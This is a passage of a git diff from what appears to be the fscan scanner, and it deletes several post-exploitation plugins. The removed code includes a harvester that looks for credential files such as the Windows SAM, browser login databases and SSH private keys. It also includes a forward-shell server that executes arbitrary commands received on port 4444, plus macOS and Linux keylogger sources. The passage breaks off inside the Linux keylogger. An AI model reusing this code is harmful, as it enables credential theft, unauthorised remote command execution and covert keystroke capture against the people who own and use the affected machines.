"本地敏感文件信息收集插件", - Category: "local", - Tags: []string{"local", "fileinfo", "sensitive"}, - Protocols: []string{"local"}, - } - - plugin := &FileInfoPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - blacklist: []string{ - // 可执行文件和库 - ".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr", - // 图像和媒体文件 - ".png", ".jpg", ".jpeg", ".gif", ".bmp", ".ico", ".tiff", ".svg", - ".mp3", ".mp4", ".avi", ".mov", ".wmv", ".wav", ".flac", - // 文档和归档文件(通常不含敏感信息) - ".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", - ".zip", ".rar", ".7z", ".tar", ".gz", - // 代码和项目文件 - ".pyc", ".pyo", ".class", ".obj", ".o", ".lib", ".a", - // 系统和临时文件 - ".tmp", ".temp", ".log", ".cache", ".bak", ".swp", - ".manifest", ".mui", ".nls", ".dat", ".bin", ".pdb", - // 系统目录 - "windows\\system32", "windows\\syswow64", "windows\\winsxs", - "program files", "program files (x86)", "programdata", - "appdata\\local\\temp", "appdata\\local\\microsoft\\windows", - "locale", "winsxs", "windows\\sys", "node_modules", ".git", - "__pycache__", ".vs", ".vscode\\extensions", "dist\\bundled", - }, - whitelist: []string{ - // 中文关键词 - 更精确的匹配 - "密码", "账号", "用户", "凭据", "证书", "私钥", "公钥", - "令牌", "口令", "认证", "授权", "登录", - // 英文关键词 - 敏感文件标识 - "password", "passwd", "credential", "token", "auth", "login", - "key", "secret", "cert", "certificate", "private", "public", - "rsa", "ssh", "api_key", "access_key", "session", - // 配置文件 - 但更具体 - ".env", "database", "db_", "connection", "conn_", - // 特定敏感文件名 - "id_rsa", "id_dsa", "authorized_keys", "known_hosts", - "shadow", "passwd", "credentials", "keystore", - }, - } - - // 设置平台支持 - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 不需要特殊权限 - plugin.SetRequiresPrivileges(false) - - // 初始化敏感文件和搜索目录 - plugin.initSensitiveFiles() - - return plugin -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// initSensitiveFiles 初始化敏感文件列表 -func (p *FileInfoPlugin) initSensitiveFiles() { - homeDir, _ := os.UserHomeDir() - - switch runtime.GOOS { - case "windows": - p.sensitiveFiles = []string{ - "C:\\boot.ini", - "C:\\windows\\system32\\inetsrv\\MetaBase.xml", - "C:\\windows\\repair\\sam", - "C:\\windows\\system32\\config\\sam", - } - - if homeDir != "" { - p.sensitiveFiles = append(p.sensitiveFiles, []string{ - filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), - filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), - filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), - }...) - } - - case "linux", "darwin": - p.sensitiveFiles = []string{ - "/etc/apache/httpd.conf", - "/etc/httpd/conf/httpd.conf", - "/etc/nginx/nginx.conf", - "/etc/hosts.deny", - "/etc/ssh/ssh_config", - "/etc/resolv.conf", - "/root/.ssh/authorized_keys", - "/root/.ssh/id_rsa", - "/root/.bash_history", - } - } - - p.searchDirs = p.getOptimizedSearchDirs() -} - -// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录) -func (p *FileInfoPlugin) getOptimizedSearchDirs() []string { - var dirs []string - homeDir, _ := os.UserHomeDir() - - switch runtime.GOOS { - case "windows": - dirs = []string{ - // 用户目录的关键文件夹 - homeDir, - filepath.Join(homeDir, "Desktop"), - filepath.Join(homeDir, "Documents"), - filepath.Join(homeDir, "Downloads"), - filepath.Join(homeDir, ".ssh"), - filepath.Join(homeDir, ".aws"), - filepath.Join(homeDir, ".azure"), - filepath.Join(homeDir, ".kube"), - // 公共目录的关键部分 - "C:\\Users\\Public\\Documents", - "C:\\Users\\Public\\Desktop", - } - case "linux", "darwin": - dirs = []string{ - homeDir, - filepath.Join(homeDir, "Desktop"), - filepath.Join(homeDir, "Documents"), - filepath.Join(homeDir, "Downloads"), - filepath.Join(homeDir, ".ssh"), - filepath.Join(homeDir, ".aws"), - filepath.Join(homeDir, ".azure"), - filepath.Join(homeDir, ".kube"), - "/opt", - "/usr/local/bin", - "/var/www", - } - } - - // 过滤存在的目录 - var validDirs []string - for _, dir := range dirs { - if _, err := os.Stat(dir); err == nil { - validDirs = append(validDirs, dir) - } - } - - return validDirs -} - -// ScanLocal 执行本地文件扫描 - 简化版本 -func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogInfo("开始本地敏感文件扫描...") - - foundFiles := make([]string, 0) - - // 扫描固定位置的敏感文件 - common.LogDebug("扫描固定敏感文件位置...") - for _, file := range p.sensitiveFiles { - if p.checkFile(file) { - foundFiles = append(foundFiles, file) - common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file)) - } - } - - // 根据规则搜索敏感文件 - common.LogDebug("按规则搜索敏感文件...") - searchFiles := p.searchSensitiveFiles() - foundFiles = append(foundFiles, searchFiles...) - - // 获取系统信息 - systemInfo := p.GetSystemInfo() - - result := &base.ScanResult{ - Success: true, - Service: "FileInfo", - Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)), - Extra: map[string]interface{}{ - "files": foundFiles, - "total_count": len(foundFiles), - "platform": runtime.GOOS, - "system_info": systemInfo, - "search_dirs": len(p.searchDirs), - }, - } - - if len(foundFiles) > 0 { - common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles))) - for _, file := range foundFiles { - common.LogSuccess(fmt.Sprintf("发现: %s", file)) - } - } else { - common.LogInfo("未发现敏感文件") - } - - return result, nil -} - -// GetLocalData 获取本地文件数据 -func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - // 获取系统信息 - data["platform"] = runtime.GOOS - data["arch"] = runtime.GOARCH - - if homeDir, err := os.UserHomeDir(); err == nil { - data["home_dir"] = homeDir - } - - if workDir, err := os.Getwd(); err == nil { - data["work_dir"] = workDir - } - - return data, nil -} - -// ExtractData 提取敏感文件数据 -func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - // 文件信息收集插件主要是扫描,不进行深度利用 - return &base.ExploitResult{ - Success: true, - Output: "文件信息收集完成", - Data: data, - }, nil -} - -// checkFile 检查文件是否存在 -func (p *FileInfoPlugin) checkFile(path string) bool { - if _, err := os.Stat(path); err == nil { - return true - } - return false -} - -// searchSensitiveFiles 搜索敏感文件(限制深度和数量) -func (p *FileInfoPlugin) searchSensitiveFiles() []string { - var foundFiles []string - maxFiles := 50 // 限制最多找到的文件数量 - maxDepth := 4 // 限制递归深度 - - for _, searchPath := range p.searchDirs { - if len(foundFiles) >= maxFiles { - break - } - - baseDepth := strings.Count(searchPath, string(filepath.Separator)) - - filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error { - if err != nil { - return nil - } - - // 限制递归深度 - currentDepth := strings.Count(path, string(filepath.Separator)) - if currentDepth-baseDepth > maxDepth { - if info.IsDir() { - return filepath.SkipDir - } - return nil - } - - // 跳过黑名单文件/目录 - if p.isBlacklisted(path) { - if info.IsDir() { - return filepath.SkipDir - } - return nil - } - - // 限制文件数量 - if len(foundFiles) >= maxFiles { - return filepath.SkipDir - } - - // 跳过过大的文件(可能不是配置文件) - if !info.IsDir() && info.Size() > 10*1024*1024 { // 10MB - return nil - } - - // 检查白名单关键词 - if !info.IsDir() && p.isWhitelisted(info.Name()) { - foundFiles = append(foundFiles, path) - common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path)) - } - - return nil - }) - } - - return foundFiles -} - -// isBlacklisted 检查是否在黑名单中 -func (p *FileInfoPlugin) isBlacklisted(path string) bool { - pathLower := strings.ToLower(path) - for _, black := range p.blacklist { - if strings.Contains(pathLower, black) { - return true - } - } - return false -} - -// isWhitelisted 检查是否匹配白名单 -func (p *FileInfoPlugin) isWhitelisted(filename string) bool { - filenameLower := strings.ToLower(filename) - for _, white := range p.whitelist { - if strings.Contains(filenameLower, white) { - return true - } - } - return false -} - -// RegisterFileInfoPlugin 注册文件信息收集插件 -func RegisterFileInfoPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "fileinfo", - Version: "1.0.0", - Author: "fscan-team", - Description: "本地敏感文件信息收集插件", - Category: "local", - Tags: []string{"local", "fileinfo", "sensitive"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewFileInfoPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("fileinfo", factory) -} - -// GetInfo 获取插件信息 -func (p *FileInfoPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("本地敏感文件扫描插件\n") - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs))) - info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles))) - info.WriteString("功能: 扫描系统敏感文件和配置信息\n") - - return info.String() -} - -// 插件注册函数 -func init() { - RegisterFileInfoPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/forwardshell/plugin.go b/plugins/local_backup/forwardshell/plugin.go deleted file mode 100644 index 2fd2ce3..0000000 --- a/plugins/local_backup/forwardshell/plugin.go +++ /dev/null @@ -1,331 +0,0 @@ -package forwardshell - -import ( - "bufio" - "context" - "fmt" - "net" - "os" - "os/exec" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// ForwardShellPlugin 正向Shell插件 - 使用简化架构 -type ForwardShellPlugin struct { - *local.BaseLocalPlugin - port int - listener net.Listener -} - -// NewForwardShellPlugin 创建正向Shell插件 - 简化版本 -func NewForwardShellPlugin() *ForwardShellPlugin { - // 从全局参数获取正向Shell端口 - port := common.ForwardShellPort - if port <= 0 { - port = 4444 // 默认端口 - } - - metadata := &base.PluginMetadata{ - Name: "forwardshell", - Version: "1.0.0", - Author: "fscan-team", - Description: "本地正向Shell服务器插件,在指定端口提供Shell访问", - Category: "local", - Tags: []string{"local", "shell", "remote", "access"}, - Protocols: []string{"local"}, - } - - plugin := &ForwardShellPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - port: port, - } - - // 设置支持的平台(支持Windows、Linux和macOS) - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 不需要特殊权限(除非需要绑定低端口) - plugin.SetRequiresPrivileges(port < 1024) - - return plugin -} - -// Initialize 初始化插件 -func (p *ForwardShellPlugin) Initialize() error { - // 调用基类初始化 - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行正向Shell扫描 - 简化版本 -func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("启动正向Shell服务器...") - - // 启动正向Shell服务器 - common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port)) - - // 直接在当前goroutine中运行,这样可以确保在设置ForwardShellActive后立即被主程序检测到 - err := p.startForwardShellServer(ctx, p.port) - if err != nil { - common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err)) - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - result := &base.ScanResult{ - Success: true, - Service: "ForwardShell", - Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS), - Extra: map[string]interface{}{ - "port": p.port, - "platform": runtime.GOOS, - "service": "shell", - "status": "completed", - }, - } - - return result, nil -} - -// startForwardShellServer 启动正向Shell服务器 - 核心实现 -func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error { - // 监听指定端口 - listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) - if err != nil { - return fmt.Errorf("监听端口失败: %v", err) - } - defer listener.Close() - - p.listener = listener - common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port)) - - // 设置正向Shell为活跃状态,告诉主程序保持运行 - common.ForwardShellActive = true - defer func() { - // 确保退出时清除活跃状态 - common.ForwardShellActive = false - }() - - // 主循环处理连接 - for { - select { - case <-ctx.Done(): - common.LogBase("正向Shell服务器被上下文取消") - return ctx.Err() - default: - } - - // 设置监听器超时,以便能响应上下文取消 - if tcpListener, ok := listener.(*net.TCPListener); ok { - tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) - } - - conn, err := listener.Accept() - if err != nil { - // 检查是否是超时错误 - if netErr, ok := err.(net.Error); ok && netErr.Timeout() { - continue // 超时继续循环 - } - common.LogError(fmt.Sprintf("接受连接失败: %v", err)) - continue - } - - common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String())) - - // 并发处理客户端连接 - go p.handleClient(conn) - } -} - -// handleClient 处理客户端连接 -func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { - defer clientConn.Close() - - // 发送欢迎信息 - welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) - clientConn.Write([]byte(welcome)) - - // 创建命令处理器 - scanner := bufio.NewScanner(clientConn) - - for scanner.Scan() { - command := strings.TrimSpace(scanner.Text()) - - if command == "" { - continue - } - - if command == "exit" { - clientConn.Write([]byte("Goodbye!\n")) - common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String())) - break - } - - // 执行命令并返回结果 - p.executeCommand(clientConn, command) - } - - if err := scanner.Err(); err != nil { - common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err)) - } -} - -// executeCommand 执行命令并返回结果 -func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { - var cmd *exec.Cmd - - // 根据平台创建命令 - switch runtime.GOOS { - case "windows": - cmd = exec.Command("cmd", "/c", command) - case "linux", "darwin": - cmd = exec.Command("/bin/sh", "-c", command) - default: - conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS))) - return - } - - // 设置命令超时 - ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) - defer cancel() - cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...) - - // 执行命令并获取输出 - output, err := cmd.CombinedOutput() - - if ctx.Err() == context.DeadlineExceeded { - conn.Write([]byte("命令执行超时\n")) - return - } - - if err != nil { - conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err))) - return - } - - // 发送命令输出 - if len(output) == 0 { - conn.Write([]byte("(命令执行成功,无输出)\n")) - } else { - conn.Write(output) - // 确保输出以换行符结尾 - if !strings.HasSuffix(string(output), "\n") { - conn.Write([]byte("\n")) - } - } - - // 发送命令提示符 - prompt := p.getPrompt() - conn.Write([]byte(prompt)) -} - -// getPrompt 获取平台特定的命令提示符 -func (p *ForwardShellPlugin) getPrompt() string { - hostname, _ := os.Hostname() - username := os.Getenv("USER") - if username == "" { - username = os.Getenv("USERNAME") // Windows - } - if username == "" { - username = "user" - } - - switch runtime.GOOS { - case "windows": - return fmt.Sprintf("%s@%s> ", username, hostname) - case "linux", "darwin": - return fmt.Sprintf("%s@%s$ ", username, hostname) - default: - return fmt.Sprintf("%s@%s# ", username, hostname) - } -} - -// GetLocalData 获取正向Shell本地数据 -func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - // 获取系统信息 - data["plugin_type"] = "forwardshell" - data["platform"] = runtime.GOOS - data["arch"] = runtime.GOARCH - data["port"] = p.port - data["service"] = "shell" - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - if homeDir, err := os.UserHomeDir(); err == nil { - data["home_dir"] = homeDir - } - - if workDir, err := os.Getwd(); err == nil { - data["work_dir"] = workDir - } - - return data, nil -} - -// ExtractData 提取数据(正向Shell主要是服务功能) -func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("正向Shell服务器运行完成,端口: %d", p.port), - Data: data, - Extra: map[string]interface{}{ - "port": p.port, - "service": "shell", - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *ForwardShellPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("正向Shell服务器插件\n") - info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port)) - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString("功能: 提供远程Shell访问,支持命令执行\n") - info.WriteString("协议: TCP,基于文本的命令交互\n") - info.WriteString("实现方式: 纯Go原生,无外部依赖\n") - info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n") - - return info.String() -} - -// RegisterForwardShellPlugin 注册正向Shell插件 -func RegisterForwardShellPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "forwardshell", - Version: "1.0.0", - Author: "fscan-team", - Description: "本地正向Shell服务器插件,在指定端口提供Shell访问", - Category: "local", - Tags: []string{"forwardshell", "local", "shell", "remote"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewForwardShellPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("forwardshell", factory) -} - -// init 插件注册函数 -func init() { - RegisterForwardShellPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/keylogger/keylogger_darwin.go b/plugins/local_backup/keylogger/keylogger_darwin.go deleted file mode 100644 index ea55a3d..0000000 --- a/plugins/local_backup/keylogger/keylogger_darwin.go +++ /dev/null @@ -1,289 +0,0 @@ -// +build darwin - -package keylogger - -/* -#cgo CFLAGS: -x objective-c -#cgo LDFLAGS: -framework Cocoa -framework Carbon -framework ApplicationServices - -#import -#import -#import - -// 键盘事件回调函数 -CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon); - -// 启动事件监听 -int startEventMonitoring(void); - -// 停止事件监听 -void stopEventMonitoring(void); - -// 全局变量 -static CFMachPortRef eventTap = NULL; -static CFRunLoopSourceRef runLoopSource = NULL; -static bool isMonitoring = false; - -// 外部回调函数(Go函数) -extern void handleKeyEvent(int keyCode, int isKeyDown); - -// 键盘事件回调函数实现 -CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { - if (type == kCGEventKeyDown || type == kCGEventKeyUp) { - CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); - int isKeyDown = (type == kCGEventKeyDown) ? 1 : 0; - - // 调用Go函数处理键盘事件 - handleKeyEvent((int)keyCode, isKeyDown); - } - - // 继续传递事件 - return event; -} - -// 启动事件监听 -int startEventMonitoring(void) { - if (isMonitoring) { - return 0; // 已经在监听 - } - - // 检查辅助功能权限 - if (!AXIsProcessTrusted()) { - return -1; // 没有辅助功能权限 - } - - // 创建事件tap - eventTap = CGEventTapCreate( - kCGSessionEventTap, - kCGHeadInsertEventTap, - kCGEventTapOptionDefault, - CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp), - keyboardEventCallback, - NULL - ); - - if (!eventTap) { - return -2; // 创建事件tap失败 - } - - // 创建run loop source - runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0); - - // 添加到当前run loop - CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); - - // 启用事件tap - CGEventTapEnable(eventTap, true); - - isMonitoring = true; - return 0; // 成功 -} - -// 停止事件监听 -void stopEventMonitoring(void) { - if (!isMonitoring) { - return; - } - - if (eventTap) { - CGEventTapEnable(eventTap, false); - CFRelease(eventTap); - eventTap = NULL; - } - - if (runLoopSource) { - CFRunLoopRemoveSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); - CFRelease(runLoopSource); - runLoopSource = NULL; - } - - isMonitoring = false; -} -*/ -import "C" - -import ( - "context" - "fmt" - "time" - "unsafe" - - "github.com/shadow1ng/fscan/common" -) - -var darwinKeylogger *KeyloggerPlugin - -// checkDarwinRequirements 检查Darwin特定要求 -func (p *KeyloggerPlugin) checkDarwinRequirements() error { - common.LogInfo("检查macOS键盘记录权限...") - - // 检查辅助功能权限 - // 注意:实际运行时需要用户手动在系统偏好设置中授权 - common.LogInfo("注意: macOS系统需要在'系统偏好设置 > 安全性与隐私 > 辅助功能'中授权此应用") - - return nil -} - -// startDarwinKeylogging 启动Darwin键盘记录 -func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { - common.LogInfo("启动macOS键盘记录...") - - // 设置全局引用 - darwinKeylogger = p - - // 启动事件监听 - result := C.startEventMonitoring() - switch result { - case -1: - return fmt.Errorf("macOS辅助功能权限未授权,请在系统偏好设置中启用") - case -2: - return fmt.Errorf("创建键盘事件监听失败") - case 0: - common.LogInfo("macOS键盘事件监听已启动") - default: - return fmt.Errorf("启动键盘监听时发生未知错误: %d", result) - } - - // 启动RunLoop来处理事件 - go p.runEventLoop(ctx) - - // 等待上下文取消 - <-ctx.Done() - - // 停止事件监听 - C.stopEventMonitoring() - common.LogInfo("macOS键盘记录已停止") - - return nil -} - -// runEventLoop 运行事件循环 -func (p *KeyloggerPlugin) runEventLoop(ctx context.Context) { - // 这里需要运行Core Foundation的RunLoop来处理事件 - // 由于Go和C的交互限制,我们使用简单的循环来保持程序运行 - ticker := time.NewTicker(100 * time.Millisecond) - defer ticker.Stop() - - for { - select { - case <-ctx.Done(): - return - case <-ticker.C: - // 保持循环运行,让C的事件处理能够工作 - continue - } - } -} - -// handleKeyEvent Go回调函数,由C代码调用 -//export handleKeyEvent -func handleKeyEvent(keyCode C.int, isKeyDown C.int) { - if darwinKeylogger == nil { - return - } - - // 只处理按键按下事件 - if isKeyDown == 1 { - keyChar := getDarwinKeyChar(int(keyCode)) - if keyChar != "" { - darwinKeylogger.addKeyToBuffer(keyChar) - } - } -} - -// getDarwinKeyChar 获取macOS按键字符 -func getDarwinKeyChar(keyCode int) string { - // macOS虚拟键码映射 - keyMap := map[int]string{ - 0: "a", 1: "s", 2: "d", 3: "f", 4: "h", 5: "g", 6: "z", 7: "x", 8: "c", 9: "v", - 11: "b", 12: "q", 13: "w", 14: "e", 15: "r", 16: "y", 17: "t", - 18: "1", 19: "2", 20: "3", 21: "4", 22: "6", 23: "5", 24: "=", 25: "9", 26: "7", - 27: "-", 28: "8", 29: "0", 30: "]", 31: "o", 32: "u", 33: "[", 34: "i", 35: "p", - 36: "[Enter]", - 37: "l", 38: "j", 39: "'", 40: "k", 41: ";", 42: "\\", 43: ",", 44: "/", 45: "n", - 46: "m", 47: ".", - 48: "[Tab]", - 49: " ", // 空格 - 50: "`", - 51: "[Delete]", - 53: "[Esc]", - 55: "[Cmd]", - 56: "[Shift]", - 57: "[CapsLock]", - 58: "[Option]", - 59: "[Ctrl]", - 60: "[RShift]", - 61: "[ROption]", - 62: "[RCtrl]", - 63: "[Fn]", - 64: "[F17]", - 65: "[KeypadDecimal]", - 67: "[KeypadMultiply]", - 69: "[KeypadPlus]", - 71: "[KeypadClear]", - 72: "[VolumeUp]", - 73: "[VolumeDown]", - 74: "[Mute]", - 75: "[KeypadDivide]", - 76: "[KeypadEnter]", - 78: "[KeypadMinus]", - 79: "[F18]", - 80: "[F19]", - 81: "[KeypadEquals]", - 82: "[Keypad0]", 83: "[Keypad1]", 84: "[Keypad2]", 85: "[Keypad3]", - 86: "[Keypad4]", 87: "[Keypad5]", 88: "[Keypad6]", 89: "[Keypad7]", - 91: "[Keypad8]", 92: "[Keypad9]", - 96: "[F5]", - 97: "[F6]", - 98: "[F7]", - 99: "[F3]", - 100: "[F8]", - 101: "[F9]", - 103: "[F11]", - 105: "[F13]", - 106: "[F16]", - 107: "[F14]", - 109: "[F10]", - 111: "[F12]", - 113: "[F15]", - 114: "[Help]", - 115: "[Home]", - 116: "[PgUp]", - 117: "[ForwardDelete]", - 118: "[F4]", - 119: "[End]", - 120: "[F2]", - 121: "[PgDn]", - 122: "[F1]", - 123: "[Left]", - 124: "[Right]", - 125: "[Down]", - 126: "[Up]", - } - - if keyName, exists := keyMap[keyCode]; exists { - return keyName - } - - return fmt.Sprintf("[KEY_%d]", keyCode) -} - -// checkWindowsRequirements 检查Windows特定要求(Darwin平台的空实现) -func (p *KeyloggerPlugin) checkWindowsRequirements() error { - return fmt.Errorf("不支持的平台") -} - -// checkLinuxRequirements 检查Linux特定要求(Darwin平台的空实现) -func (p *KeyloggerPlugin) checkLinuxRequirements() error { - return fmt.Errorf("不支持的平台") -} - -// startWindowsKeylogging 启动Windows键盘记录(Darwin平台的空实现) -func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") -} - -// startLinuxKeylogging 启动Linux键盘记录(Darwin平台的空实现) -func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") -} \ No newline at end of file diff --git a/plugins/local_backup/keylogger/keylogger_linux.go b/plugins/local_backup/keylogger/keylogger_linux.go deleted file mode 100644 index 1cb5620..0000000 --- a/plugins/local_backup/keylogger/keylogger_linux.go +++ /dev/null @@ -1,282 +0,0 @@ -// +build linux - -package keylogger - -import ( - "bufio" - "context" - "encoding/binary" - "fmt" - "io/fs" - "os" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" -) - -// Linux输入事件结构 -type InputEvent struct { - Time [2]int64 // struct timeval - Type uint16 - Code uint16 - Value int32 -} - -const ( - EV_KEY = 1 - KEY_PRESS = 1 - KEY_RELEASE = 0 -) - -// checkLinuxRequirements 检查Linux特定要求 -func (p *KeyloggerPlugin) checkLinuxRequirements() error { - common.LogInfo("检查Linux键盘记录权限...") - - // 检查/dev/input目录访问权限 - if _, err := os.Stat("/dev/input"); os.IsNotExist(err) { - return fmt.Errorf("/dev/input目录不存在,可能不是标准Linux系统") - } - - // 检查是否有输入设备 - inputDevices, err := p.findKeyboardDevices() - if err != nil { - return fmt.Errorf("查找键盘设备失败: %v", err) - } - - if len(inputDevices) == 0 { - common.LogInfo("警告: 未找到键盘设备,将尝试监听所有输入设备") - } else { - common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices))) - } - - return nil -} - -// startLinuxKeylogging 启动Linux键盘记录 -func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { - common.LogInfo("启动Linux键盘记录...") - - // 查找键盘设备 - devices, err := p.findKeyboardDevices() - if err != nil { - return fmt.Errorf("查找键盘设备失败: %v", err) - } - - if len(devices) == 0 { - // 如果找不到明确的键盘设备,尝试监听所有事件设备 - devices, err = p.findAllInputDevices() - if err != nil { - return fmt.Errorf("查找输入设备失败: %v", err) - } - } - - if len(devices) == 0 { - return fmt.Errorf("未找到任何输入设备") - } - - common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices))) - - // 启动设备监听goroutine - for _, device := range devices { - go p.monitorDevice(ctx, device) - } - - // 等待上下文取消 - <-ctx.Done() - return nil -} - -// findKeyboardDevices 查找键盘设备 -func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) { - var keyboards []string - - // 检查/proc/bus/input/devices文件 - devicesFile := "/proc/bus/input/devices" - file, err := os.Open(devicesFile) - if err != nil { - common.LogInfo("无法打开/proc/bus/input/devices,尝试扫描/dev/input") - return p.findAllInputDevices() - } - defer file.Close() - - scanner := bufio.NewScanner(file) - var currentDevice string - var isKeyboard bool - - for scanner.Scan() { - line := strings.TrimSpace(scanner.Text()) - - if strings.HasPrefix(line, "I:") { - // 新设备开始 - isKeyboard = false - currentDevice = "" - } else if strings.HasPrefix(line, "N:") { - // 设备名称 - if strings.Contains(strings.ToLower(line), "keyboard") || - strings.Contains(strings.ToLower(line), "kbd") { - isKeyboard = true - } - } else if strings.HasPrefix(line, "H:") && isKeyboard { - // 设备处理器 - parts := strings.Fields(line) - for _, part := range parts { - if strings.HasPrefix(part, "event") { - eventNum := strings.TrimPrefix(part, "event") - devicePath := fmt.Sprintf("/dev/input/event%s", eventNum) - keyboards = append(keyboards, devicePath) - break - } - } - } - } - - return keyboards, nil -} - -// findAllInputDevices 查找所有输入设备 -func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) { - var devices []string - - err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error { - if err != nil { - return nil // 跳过错误 - } - - if strings.HasPrefix(d.Name(), "event") { - devices = append(devices, path) - } - - return nil - }) - - if err != nil { - return nil, err - } - - return devices, nil -} - -// monitorDevice 监听设备 -func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) { - common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath)) - - file, err := os.Open(devicePath) - if err != nil { - common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err)) - return - } - defer file.Close() - - for { - select { - case <-ctx.Done(): - return - default: - var event InputEvent - err := binary.Read(file, binary.LittleEndian, &event) - if err != nil { - common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err)) - return - } - - // 处理键盘事件 - if event.Type == EV_KEY && event.Value == KEY_PRESS { - keyChar := 